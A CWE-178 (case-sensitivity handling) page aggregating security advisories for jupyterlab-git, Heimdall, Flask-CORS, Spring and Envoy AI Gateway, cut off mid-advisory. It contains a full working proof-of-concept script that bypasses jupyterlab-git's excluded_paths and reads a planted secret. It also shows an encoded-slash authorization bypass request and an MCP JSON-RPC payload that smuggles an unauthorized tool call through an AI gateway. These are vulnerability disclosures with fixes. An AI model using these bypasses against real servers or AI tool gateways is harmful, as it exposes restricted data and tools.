Common Weakness Enumeration

CWE-178

Allowed

Improper Handling of Case Sensitivity

Abstraction: Base · Status: Incomplete

The product does not properly account for differences in case sensitivity when accessing or determining the properties of a resource, leading to inconsistent results.

136 vulnerabilities reference this CWE, most recent first.

GHSA-436Q-JWFR-RM2H

Vulnerability from github – Published: 2026-06-19 19:36 – Updated: 2026-06-19 19:36
VLAI
Summary
jupyterlab-git excluded_paths Case-Sensitivity Bypass Allows Reading Excluded Directories
Details

Summary

jupyterlab-git 0.53.0 (latest, 2026-04-30) uses fnmatch.fnmatchcase() in GitHandler.prepare() (jupyterlab_git/handlers.py:91) to enforce the admin-configured excluded_paths security control. Because fnmatchcase is unconditionally case-sensitive, an authenticated user on a case-insensitive filesystem (macOS APFS, Windows NTFS) can bypass the exclusion by varying the case of the URL path segment — e.g. requesting /git/project/Secrets/... instead of /git/project/secrets/... — gaining read access to git history, file content, and status in directories the administrator explicitly excluded.

Vulnerable Code

# jupyterlab_git/handlers.py:84-92
async def prepare(self):
    """Check if the path should be skipped"""
    await ensure_async(super().prepare())
    path = self.path_kwargs.get("path")
    if path is not None:
        excluded_paths = self.git.excluded_paths
        for excluded_path in excluded_paths:
            if fnmatch.fnmatchcase(path, excluded_path):  # ← always case-sensitive
                raise tornado.web.HTTPError(404)

Root Cause

fnmatch.fnmatchcase() is unconditionally case-sensitive regardless of the operating system. Contrast with fnmatch.fnmatch() which normalizes via os.path.normcase() on case-insensitive platforms.

fnmatch.fnmatchcase("/project/secrets", "/project/secrets")  # True  — blocked
fnmatch.fnmatchcase("/project/Secrets", "/project/secrets")  # False — bypasses check

On macOS APFS and Windows NTFS, /project/Secrets and /project/secrets resolve to the same directory on disk. The exclusion check rejects only the exact-case match, but the downstream url2localpath() resolves the case-varied path to the same filesystem location.

Impact

An authenticated JupyterLab user with access to the affected Jupyter server can bypass admin-configured excluded_paths by varying the case of the URL path segment. This grants:

  • Read file content at any git ref (/content endpoint)
  • Read working tree files in the excluded directory
  • View git status, log, diff on the excluded path
  • Enumerate commits touching excluded files

Attack Scenario

  1. Admin configures c.JupyterLabGit.excluded_paths = ["/project/secrets", "/project/secrets/*"]
  2. Normal request POST /git/project/secrets/status → HTTP 404 (blocked)
  3. Attacker requests POST /git/project/Secrets/status → HTTP 200 (bypass)
  4. Attacker reads secret: POST /git/project/Secrets/content with {"filename": "./cred.txt", "reference": {"git": "HEAD"}} → file content returned

Exploit

See poc.py. Starts a real jupyter-server with jupyterlab-git loaded, configures excluded_paths, and demonstrates bypass + exfiltration via HTTP.

import json, os, shutil, subprocess, sys, tempfile, time
import urllib.request, urllib.error

from jupyterlab_git.handlers import GitHandler  # real import, no mock
from jupyterlab_git_core.git import Git
import jupyterlab_git_core

PORT = 18895
TOKEN = "xtoken"
BASE_URL = f"http://127.0.0.1:{PORT}"
SECRET = "sk-PROD-a8f2x9q-LIVE-KEY"


def post(path_seg, endpoint, body=None):
    url = f"{BASE_URL}/git/{path_seg}{endpoint}"
    data = json.dumps(body or {}).encode()
    req = urllib.request.Request(url, data=data, method="POST",
        headers={"Authorization": f"token {TOKEN}", "Content-Type": "application/json"})
    try:
        resp = urllib.request.urlopen(req, timeout=10)
        return resp.status, json.loads(resp.read())
    except urllib.error.HTTPError as e:
        return e.code, e.read().decode()


def main():
    base_dir = tempfile.mkdtemp(prefix="jlgit_")
    workspace = os.path.join(base_dir, "workspace")
    repo_dir = os.path.join(workspace, "project")
    secret_dir = os.path.join(repo_dir, "secrets")
    os.makedirs(secret_dir)

    with open(os.path.join(secret_dir, "cred.txt"), "w") as f:
        f.write(SECRET + "\n")

    git_env = {**os.environ, "GIT_AUTHOR_NAME": "a", "GIT_AUTHOR_EMAIL": "a@x",
               "GIT_COMMITTER_NAME": "a", "GIT_COMMITTER_EMAIL": "a@x"}
    subprocess.run(["git", "init"], cwd=repo_dir, capture_output=True, check=True)
    subprocess.run(["git", "add", "."], cwd=repo_dir, capture_output=True, check=True)
    subprocess.run(["git", "commit", "-m", "init"], cwd=repo_dir,
                   capture_output=True, check=True, env=git_env)

    config_path = os.path.join(base_dir, "jupyter_server_config.py")
    with open(config_path, "w") as f:
        f.write(f'c.ServerApp.root_dir = "{workspace}"\n')
        f.write(f'c.ServerApp.token = "{TOKEN}"\n')
        f.write(f'c.ServerApp.open_browser = False\n')
        f.write(f'c.ServerApp.port = {PORT}\n')
        f.write(f'c.ServerApp.ip = "127.0.0.1"\n')
        f.write(f'c.ServerApp.disable_check_xsrf = True\n')
        f.write(f'c.JupyterLabGit.excluded_paths = ["/project/secrets", "/project/secrets/*"]\n')

    env = os.environ.copy()
    env["JUPYTER_CONFIG_DIR"] = base_dir
    env["JUPYTER_DATA_DIR"] = base_dir
    proc = subprocess.Popen(
        [sys.executable, "-m", "jupyter_server", f"--config={config_path}",
         "--ServerApp.jpserver_extensions={'jupyterlab_git': True}"],
        stdout=subprocess.PIPE, stderr=subprocess.STDOUT, env=env, cwd=base_dir)

    for _ in range(30):
        try:
            req = urllib.request.Request(f"{BASE_URL}/api/status",
                                         headers={"Authorization": f"token {TOKEN}"})
            if urllib.request.urlopen(req, timeout=2).status == 200:
                break
        except (urllib.error.URLError, OSError):
            pass
        time.sleep(0.5)
    else:
        proc.kill()
        shutil.rmtree(base_dir, ignore_errors=True)
        sys.exit("server failed to start")

    try:
        # exclusion works
        code, _ = post("project/secrets", "/status")
        blocked = code == 404

        # bypass
        code, _ = post("project/Secrets", "/status")
        bypassed = code == 200

        # exfiltrate
        code, body = post("project/Secrets", "/content",
                          {"filename": "./cred.txt", "reference": {"git": "HEAD"}})
        content = body.get("content", "") if isinstance(body, dict) else ""
        exfiltrated = SECRET in content

        ok = blocked and bypassed and exfiltrated
        print(f"exclusion enforced (lowercase): {blocked}")
        print(f"bypass (case-varied):           {bypassed}")
        print(f"secret exfiltrated:             {exfiltrated}")
        print(f"result:                         {'VULNERABLE' if ok else 'NOT CONFIRMED'}")
        return ok

    finally:
        proc.terminate()
        proc.wait(timeout=5)
        shutil.rmtree(base_dir, ignore_errors=True)


if __name__ == "__main__":
    sys.exit(0 if main() else 1)

pip install 'jupyterlab-git==0.53.0'
python poc.py

image

Fix

if fnmatch.fnmatch(path.lower(), excluded_path.lower()):
    raise tornado.web.HTTPError(404)

Or apply os.path.normcase() to both operands before comparison.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.53.0"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "jupyterlab-git"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.54.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-54528"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-178"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-19T19:36:22Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Summary\n\n`jupyterlab-git` 0.53.0 (latest, 2026-04-30) uses `fnmatch.fnmatchcase()` in `GitHandler.prepare()` (`jupyterlab_git/handlers.py:91`) to enforce the admin-configured `excluded_paths` security control. Because `fnmatchcase` is unconditionally case-sensitive, an authenticated user on a case-insensitive filesystem (macOS APFS, Windows NTFS) can bypass the exclusion by varying the case of the URL path segment \u2014 e.g. requesting `/git/project/Secrets/...` instead of `/git/project/secrets/...` \u2014 gaining read access to git history, file content, and status in directories the administrator explicitly excluded.\n\n## Vulnerable Code\n\n```python\n# jupyterlab_git/handlers.py:84-92\nasync def prepare(self):\n    \"\"\"Check if the path should be skipped\"\"\"\n    await ensure_async(super().prepare())\n    path = self.path_kwargs.get(\"path\")\n    if path is not None:\n        excluded_paths = self.git.excluded_paths\n        for excluded_path in excluded_paths:\n            if fnmatch.fnmatchcase(path, excluded_path):  # \u2190 always case-sensitive\n                raise tornado.web.HTTPError(404)\n```\n\n## Root Cause\n\n`fnmatch.fnmatchcase()` is unconditionally case-sensitive regardless of the operating system. Contrast with `fnmatch.fnmatch()` which normalizes via `os.path.normcase()` on case-insensitive platforms.\n\n```python\nfnmatch.fnmatchcase(\"/project/secrets\", \"/project/secrets\")  # True  \u2014 blocked\nfnmatch.fnmatchcase(\"/project/Secrets\", \"/project/secrets\")  # False \u2014 bypasses check\n```\n\nOn macOS APFS and Windows NTFS, `/project/Secrets` and `/project/secrets` resolve to the same directory on disk. The exclusion check rejects only the exact-case match, but the downstream `url2localpath()` resolves the case-varied path to the same filesystem location.\n\n## Impact\n\nAn authenticated JupyterLab user with access to the affected Jupyter server can bypass admin-configured `excluded_paths` by varying the case of the URL path segment. This grants:\n\n- Read file content at any git ref (`/content` endpoint)\n- Read working tree files in the excluded directory\n- View git status, log, diff on the excluded path\n- Enumerate commits touching excluded files\n\n## Attack Scenario\n\n1. Admin configures `c.JupyterLabGit.excluded_paths = [\"/project/secrets\", \"/project/secrets/*\"]`\n2. Normal request `POST /git/project/secrets/status` \u2192 HTTP 404 (blocked)\n3. Attacker requests `POST /git/project/Secrets/status` \u2192 HTTP 200 (bypass)\n4. Attacker reads secret: `POST /git/project/Secrets/content` with `{\"filename\": \"./cred.txt\", \"reference\": {\"git\": \"HEAD\"}}` \u2192 file content returned\n\n## Exploit\n\nSee `poc.py`. Starts a real jupyter-server with jupyterlab-git loaded, configures `excluded_paths`, and demonstrates bypass + exfiltration via HTTP.\n```python\nimport json, os, shutil, subprocess, sys, tempfile, time\nimport urllib.request, urllib.error\n\nfrom jupyterlab_git.handlers import GitHandler  # real import, no mock\nfrom jupyterlab_git_core.git import Git\nimport jupyterlab_git_core\n\nPORT = 18895\nTOKEN = \"xtoken\"\nBASE_URL = f\"http://127.0.0.1:{PORT}\"\nSECRET = \"sk-PROD-a8f2x9q-LIVE-KEY\"\n\n\ndef post(path_seg, endpoint, body=None):\n    url = f\"{BASE_URL}/git/{path_seg}{endpoint}\"\n    data = json.dumps(body or {}).encode()\n    req = urllib.request.Request(url, data=data, method=\"POST\",\n        headers={\"Authorization\": f\"token {TOKEN}\", \"Content-Type\": \"application/json\"})\n    try:\n        resp = urllib.request.urlopen(req, timeout=10)\n        return resp.status, json.loads(resp.read())\n    except urllib.error.HTTPError as e:\n        return e.code, e.read().decode()\n\n\ndef main():\n    base_dir = tempfile.mkdtemp(prefix=\"jlgit_\")\n    workspace = os.path.join(base_dir, \"workspace\")\n    repo_dir = os.path.join(workspace, \"project\")\n    secret_dir = os.path.join(repo_dir, \"secrets\")\n    os.makedirs(secret_dir)\n\n    with open(os.path.join(secret_dir, \"cred.txt\"), \"w\") as f:\n        f.write(SECRET + \"\\n\")\n\n    git_env = {**os.environ, \"GIT_AUTHOR_NAME\": \"a\", \"GIT_AUTHOR_EMAIL\": \"a@x\",\n               \"GIT_COMMITTER_NAME\": \"a\", \"GIT_COMMITTER_EMAIL\": \"a@x\"}\n    subprocess.run([\"git\", \"init\"], cwd=repo_dir, capture_output=True, check=True)\n    subprocess.run([\"git\", \"add\", \".\"], cwd=repo_dir, capture_output=True, check=True)\n    subprocess.run([\"git\", \"commit\", \"-m\", \"init\"], cwd=repo_dir,\n                   capture_output=True, check=True, env=git_env)\n\n    config_path = os.path.join(base_dir, \"jupyter_server_config.py\")\n    with open(config_path, \"w\") as f:\n        f.write(f\u0027c.ServerApp.root_dir = \"{workspace}\"\\n\u0027)\n        f.write(f\u0027c.ServerApp.token = \"{TOKEN}\"\\n\u0027)\n        f.write(f\u0027c.ServerApp.open_browser = False\\n\u0027)\n        f.write(f\u0027c.ServerApp.port = {PORT}\\n\u0027)\n        f.write(f\u0027c.ServerApp.ip = \"127.0.0.1\"\\n\u0027)\n        f.write(f\u0027c.ServerApp.disable_check_xsrf = True\\n\u0027)\n        f.write(f\u0027c.JupyterLabGit.excluded_paths = [\"/project/secrets\", \"/project/secrets/*\"]\\n\u0027)\n\n    env = os.environ.copy()\n    env[\"JUPYTER_CONFIG_DIR\"] = base_dir\n    env[\"JUPYTER_DATA_DIR\"] = base_dir\n    proc = subprocess.Popen(\n        [sys.executable, \"-m\", \"jupyter_server\", f\"--config={config_path}\",\n         \"--ServerApp.jpserver_extensions={\u0027jupyterlab_git\u0027: True}\"],\n        stdout=subprocess.PIPE, stderr=subprocess.STDOUT, env=env, cwd=base_dir)\n\n    for _ in range(30):\n        try:\n            req = urllib.request.Request(f\"{BASE_URL}/api/status\",\n                                         headers={\"Authorization\": f\"token {TOKEN}\"})\n            if urllib.request.urlopen(req, timeout=2).status == 200:\n                break\n        except (urllib.error.URLError, OSError):\n            pass\n        time.sleep(0.5)\n    else:\n        proc.kill()\n        shutil.rmtree(base_dir, ignore_errors=True)\n        sys.exit(\"server failed to start\")\n\n    try:\n        # exclusion works\n        code, _ = post(\"project/secrets\", \"/status\")\n        blocked = code == 404\n\n        # bypass\n        code, _ = post(\"project/Secrets\", \"/status\")\n        bypassed = code == 200\n\n        # exfiltrate\n        code, body = post(\"project/Secrets\", \"/content\",\n                          {\"filename\": \"./cred.txt\", \"reference\": {\"git\": \"HEAD\"}})\n        content = body.get(\"content\", \"\") if isinstance(body, dict) else \"\"\n        exfiltrated = SECRET in content\n\n        ok = blocked and bypassed and exfiltrated\n        print(f\"exclusion enforced (lowercase): {blocked}\")\n        print(f\"bypass (case-varied):           {bypassed}\")\n        print(f\"secret exfiltrated:             {exfiltrated}\")\n        print(f\"result:                         {\u0027VULNERABLE\u0027 if ok else \u0027NOT CONFIRMED\u0027}\")\n        return ok\n\n    finally:\n        proc.terminate()\n        proc.wait(timeout=5)\n        shutil.rmtree(base_dir, ignore_errors=True)\n\n\nif __name__ == \"__main__\":\n    sys.exit(0 if main() else 1)\n\n```\n\n```bash\npip install \u0027jupyterlab-git==0.53.0\u0027\npython poc.py\n```\n\u003cimg width=\"686\" height=\"146\" alt=\"image\" src=\"https://github.com/user-attachments/assets/f5b8d349-539a-44d7-9b17-d13b5f802625\" /\u003e\n\n\n## Fix\n\n```python\nif fnmatch.fnmatch(path.lower(), excluded_path.lower()):\n    raise tornado.web.HTTPError(404)\n```\n\nOr apply `os.path.normcase()` to both operands before comparison.",
  "id": "GHSA-436q-jwfr-rm2h",
  "modified": "2026-06-19T19:36:22Z",
  "published": "2026-06-19T19:36:22Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/jupyterlab/jupyterlab-git/security/advisories/GHSA-436q-jwfr-rm2h"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/jupyterlab/jupyterlab-git"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "jupyterlab-git excluded_paths Case-Sensitivity Bypass Allows Reading Excluded Directories"
}

GHSA-43JV-5J4X-QV67

Vulnerability from github – Published: 2026-04-25 23:29 – Updated: 2026-05-12 13:28
VLAI
Summary
Heimdall: Case-sensitive handling of URL-encoded slashes may lead to inconsistent path interpretation
Details

Summary

Heimdall handles URL-encoded slashes (%2F) in a case-sensitive manner, while percent-encoding is defined to be case-insensitive. As a result, the lowercase equivalent (%2f) is not recognized and therefore not processed as expected when allow_encoded_slashes is set to off (the default setting).

This discrepancy can lead to differences in how request paths are interpreted by heimdall and upstream components, which may result in authorization bypass.

Note: The issue can only lead to unintended access if heimdall is configured with an "allow all" default rule. Since v0.16.0, heimdall enforces secure defaults and refuses to start with such a configuration unless this enforcement is explicitly disabled (e.g. via --insecure-skip-secure-default-rule-enforcement or the broader --insecure flag).

Details

Consider the following rule configuration:

id: rule-1
match:
  routes:
    - path: /admin/**
execute: # configured to require authentication and authorization
  # ...

If an adversary sends a request such as /admin%2fsecret, neither is the above rule matched, nor is the request rejected (as would be expected when allow_encoded_slashes is set to off). Instead, the default rule (if configured) will be executed.

If the configured default rule is overly permissive (e.g. allowing anonymous access), and the upstream service interprets %2f as a path separator, the request may ultimately be processed as /admin/secret.

This results in the request being authorized based on a different path than the one processed by the upstream service, leading to authorization bypass.

Impact

Bypass of access control policies enforced by heimdall may lead to the following consequences:

  • Access to or modification of data that should be restricted
  • Invocation of functionality that is expected to require authentication or authorization
  • In certain configurations, escalation of privileges depending on the exposed functionality

Workarounds

  • Developers should not use the --insecure or the --insecure-skip-secure-default-rule-enforcement flags and configure their default rule to implement "deny by default".
  • Reject HTTP paths containing encoded slashes in the layers in front of heimdall. Some proxies, like e.g., Traefik, do that by default.
  • Include the ID of the rule expected to be executed in the JWT issued by heimdall and verify that value in the project's service.
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/dadrus/heimdall"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.17.14"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-42272"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-178",
      "CWE-436"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-25T23:29:40Z",
    "nvd_published_at": "2026-05-08T04:16:22Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nHeimdall handles URL-encoded slashes (`%2F`) in a case-sensitive manner, while percent-encoding is defined to be case-insensitive. As a result, the lowercase equivalent (`%2f`) is not recognized and therefore not processed as expected when `allow_encoded_slashes` is set to `off` (the default setting).\n\nThis discrepancy can lead to differences in how request paths are interpreted by heimdall and upstream components, which may result in authorization bypass.\n\n**Note:** The issue can only lead to unintended access if heimdall is configured with an \"allow all\" default rule. Since v0.16.0, heimdall enforces secure defaults and refuses to start with such a configuration unless this enforcement is explicitly disabled (e.g. via `--insecure-skip-secure-default-rule-enforcement` or the broader `--insecure` flag).\n\n### Details\n\nConsider the following rule configuration:\n\n```yaml\nid: rule-1\nmatch:\n  routes:\n    - path: /admin/**\nexecute: # configured to require authentication and authorization\n  # ...\n```\n\nIf an adversary sends a request such as `/admin%2fsecret`, neither is the above rule matched, nor is the request rejected (as would be expected when `allow_encoded_slashes` is set to `off`). Instead, the default rule (if configured) will be executed.\n\nIf the configured default rule is overly permissive (e.g. allowing anonymous access), and the upstream service interprets `%2f` as a path separator, the request may ultimately be processed as `/admin/secret`.\n\nThis results in the request being authorized based on a different path than the one processed by the upstream service, leading to authorization bypass.\n\n### Impact\n\nBypass of access control policies enforced by heimdall may lead to the following consequences:\n\n* Access to or modification of data that should be restricted\n* Invocation of functionality that is expected to require authentication or authorization\n* In certain configurations, escalation of privileges depending on the exposed functionality\n\n\n### Workarounds\n\n* Developers should not use the `--insecure` or the `--insecure-skip-secure-default-rule-enforcement` flags and configure their default rule to implement \"deny by default\".\n* Reject HTTP paths containing encoded slashes in the layers in front of heimdall. Some proxies, like e.g., Traefik, do that by default.\n* Include the ID of the rule expected to be executed in the JWT issued by heimdall and verify that value in the project\u0027s service.",
  "id": "GHSA-43jv-5j4x-qv67",
  "modified": "2026-05-12T13:28:19Z",
  "published": "2026-04-25T23:29:40Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/dadrus/heimdall/security/advisories/GHSA-43jv-5j4x-qv67"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42272"
    },
    {
      "type": "WEB",
      "url": "https://github.com/dadrus/heimdall/pull/3207"
    },
    {
      "type": "WEB",
      "url": "https://github.com/dadrus/heimdall/commit/8b0de6aba23a047cfee3081df878271bb17f4351"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/dadrus/heimdall"
    },
    {
      "type": "WEB",
      "url": "https://github.com/dadrus/heimdall/releases/tag/v0.17.14"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Heimdall: Case-sensitive handling of URL-encoded slashes may lead to inconsistent path interpretation"
}

GHSA-43QF-4RQW-9Q2G

Vulnerability from github – Published: 2025-03-20 12:32 – Updated: 2025-11-03 21:33
VLAI
Summary
Flask-CORS vulnerable to Improper Handling of Case Sensitivity
Details

corydolphin/flask-cors version 5.0.1 contains a vulnerability where the request path matching is case-insensitive due to the use of the try_match function, which is originally intended for matching hosts. This results in a mismatch because paths in URLs are case-sensitive, but the regex matching treats them as case-insensitive. This misconfiguration can lead to significant security vulnerabilities, allowing unauthorized origins to access paths meant to be restricted, resulting in data exposure and potential data leaks.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 5.0.1"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "flask-cors"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "6.0.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-6866"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-178"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-03-21T22:16:04Z",
    "nvd_published_at": "2025-03-20T10:15:34Z",
    "severity": "MODERATE"
  },
  "details": "corydolphin/flask-cors version 5.0.1 contains a vulnerability where the request path matching is case-insensitive due to the use of the `try_match` function, which is originally intended for matching hosts. This results in a mismatch because paths in URLs are case-sensitive, but the regex matching treats them as case-insensitive. This misconfiguration can lead to significant security vulnerabilities, allowing unauthorized origins to access paths meant to be restricted, resulting in data exposure and potential data leaks.",
  "id": "GHSA-43qf-4rqw-9q2g",
  "modified": "2025-11-03T21:33:12Z",
  "published": "2025-03-20T12:32:45Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-6866"
    },
    {
      "type": "WEB",
      "url": "https://github.com/corydolphin/flask-cors/commit/eb39516a3c96b90d0ae5f51293972395ec3ef358"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/corydolphin/flask-cors"
    },
    {
      "type": "WEB",
      "url": "https://github.com/corydolphin/flask-cors/blob/4.0.1/flask_cors/extension.py#L195"
    },
    {
      "type": "WEB",
      "url": "https://huntr.com/bounties/808c11af-faee-43a8-824b-b5ab4f62b9e6"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2025/05/msg00049.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Flask-CORS vulnerable to Improper Handling of Case Sensitivity"
}

GHSA-4GC7-5J7H-4QPH

Vulnerability from github – Published: 2024-10-18 06:30 – Updated: 2025-05-29 23:31
VLAI
Summary
Spring Framework DataBinder Case Sensitive Match Exception
Details

The fix for CVE-2022-22968 made disallowedFields patterns in DataBinder case insensitive. However, String.toLowerCase() has some Locale dependent exceptions that could potentially result in fields not protected as expected.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.springframework:spring-context"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "6.1.0"
            },
            {
              "fixed": "6.1.14"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.springframework:spring-web"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "6.1.0"
            },
            {
              "fixed": "6.1.14"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.springframework:spring-web"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "6.0.0"
            },
            {
              "last_affected": "6.0.24"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.springframework:spring-context"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "6.0.0"
            },
            {
              "last_affected": "6.0.24"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.springframework:spring-context"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "5.3.40"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.springframework:spring-web"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "5.3.40"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-38820"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-178"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-10-18T20:19:18Z",
    "nvd_published_at": "2024-10-18T06:15:03Z",
    "severity": "MODERATE"
  },
  "details": "The fix for CVE-2022-22968 made disallowedFields\u00a0patterns in DataBinder\u00a0case insensitive. However, String.toLowerCase()\u00a0has some Locale dependent exceptions that could potentially result in fields not protected as expected.",
  "id": "GHSA-4gc7-5j7h-4qph",
  "modified": "2025-05-29T23:31:55Z",
  "published": "2024-10-18T06:30:32Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-38820"
    },
    {
      "type": "WEB",
      "url": "https://github.com/spring-projects/spring-framework/commit/23656aebc6c7d0f9faff1080981eb4d55eff296c"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/spring-projects/spring-framework"
    },
    {
      "type": "WEB",
      "url": "https://github.com/spring-projects/spring-framework/commits/v6.2.0-RC2"
    },
    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/ntap-20241129-0003"
    },
    {
      "type": "WEB",
      "url": "https://spring.io/security/cve-2024-38820"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Spring Framework DataBinder Case Sensitive Match Exception"
}

GHSA-4GPH-2HHR-5MWG

Vulnerability from github – Published: 2026-05-19 16:18 – Updated: 2026-05-19 16:18
VLAI
Summary
Envoy AI Proxy - MCP Message Smuggling Vulnerability
Details

Envoy AI Gateway was found to be affected by a protocol parser differential vulnerability due to improper implementation of the JSON-RPC 2.0 specification. Such differential causes a MCP message alteration, potentially causing a bypass of security controls in a multi-layered architecture.

According to the JSON RPC Spec used by Model Context Protocol, JSON RPC should be case sensitive https://www.jsonrpc.org/specification

[...]
All member names exchanged between the Client and the Server that are considered for matching of any kind should be considered to be case-sensitive. The terms function, method, and procedure can be assumed to be interchangeable.

The AI Gateway is accepting and processing case-variant fields that compliant MCP implementations correctly ignore. Crucially, Envoy does not just "pass through" the message by acting as a transparent proxy, it alters the traffic, allowing smuggling of unwanted requests.

The following steps represent the incoming message alteration: 1. Incoming MCP Message:

{
    id: 1,
    jsonrpc: "2.0",
    method: "tools/call",
    params: {
        name: "backend__greet",
        Name: "backend__secretTool",
        arguments: {
            name: "World!"
        },
        Arguments: {
            name: "Exploit"
        }
    }
}
  1. Parses the request, picking the non-standard Name field over the authorized name field due to internal case-insentitive parsing by libraries such as modelcontextprotocol/go-sdk/jsonrpc and github.com/bytedance/sonic
  2. Overwrites the authorized "backend__greet" value from the valid name field with the malicious value from the Name field
  3. Normalizes the injected "backend__secretTool" value (from the invalid Name field)
  4. Re-serializes the request into a new, valid MCP JRPC payload ({"name": "backend__secretTool"}) and forwards it upstream

This "smuggling" effect means Envoy actively transforms a request that might have been checked by any prior MCP-compliant implementation into a request that is valid and altered (from the perspective of the upstream backend), effectively introducing protocol modifications that may allow bypassing any prior authorization layer.

Root Cause Analysis

The root cause is a parser differential combined with serialization quirk typical of Go-based JSON parsers:

  1. Case-Insensitive Unmarshaling - When parsing a JSON key into a struct field, Go's json.Unmarshal looks for an a case-insensitive match. Go matches "Name" to the struct tag json:"name". If "name": "safe" is also present, the last key processed wins, allowing an attacker to inject a different tool name when the MCP message reaches the Go-SDK parsing
  2. Strict Struct-Tag Marshaling - When converting a struct back to JSON, Go always uses the exact key specified in the Struct json:"..." tag. Consequently, an overwritten value from a cased field could be stored in a proper lowercased parameter, later processed by a spec-compliant MCP message receiver

The vulnerability involves the usage of the jsonrpc module of github.com/modelcontextprotocol/go-sdk, which is not following the MCP mandated JSON RPC spec for messages parsing, using case insensitive matching.

The non-compliant parsing primitive is jsonrpc.DecodeMessage, it is widely used to parse the incoming MCP messages. See at: - ai-gateway/internal/mcpproxy/handlers.go:242,739 - ai-gateway/internal/mcpproxy/mcpproxy.go:303 - ai-gateway/internal/mcpproxy/session.go:409 - ai-gateway/internal/mcpproxy/sse.go:88

Consequently, internals relying on objects parsed with the cited primitive are using case-insentive parsing, also subject to Unicode to ASCII Folding.

Furthermore, the internal logic is also relying on the internal/json package, acting as a wrapper around github.com/bytedance/sonic (Sonic), a high-performance JSON library that defaults to loose, case-insensitive unmarshalling.

File: internal/json/json.go

import (
    sonicjson "github.com/bytedance/sonic"
)
var (
    Unmarshal = sonicjson.ConfigDefault.Unmarshal
    Marshal   = sonicjson.ConfigDefault.Marshal
)

In combination with the above mentioned spec departure, the message MCP message reconstruction logic is causing an alteration of the protocol calls passing through the gateway.

Example Vulnerable Data Flow - tools/call

The alteration occurs in ai-gateway/internal/mcpproxy/handlers.go:180 during the processing of a function servePOST.

As an example, we can focus on the processing of incoming MCP tools/call requests.

When the gateway receives a JSON-RPC request, it executes servePOST function, which then calls jsonrpc.DecodeMessage to parse the body of the bytes read from the request.

See at ai-gateway/internal/mcpproxy/handlers.go:235-242

...
    body, err := io.ReadAll(r.Body)
    if err != nil {
        errType = metrics.MCPErrorInternal
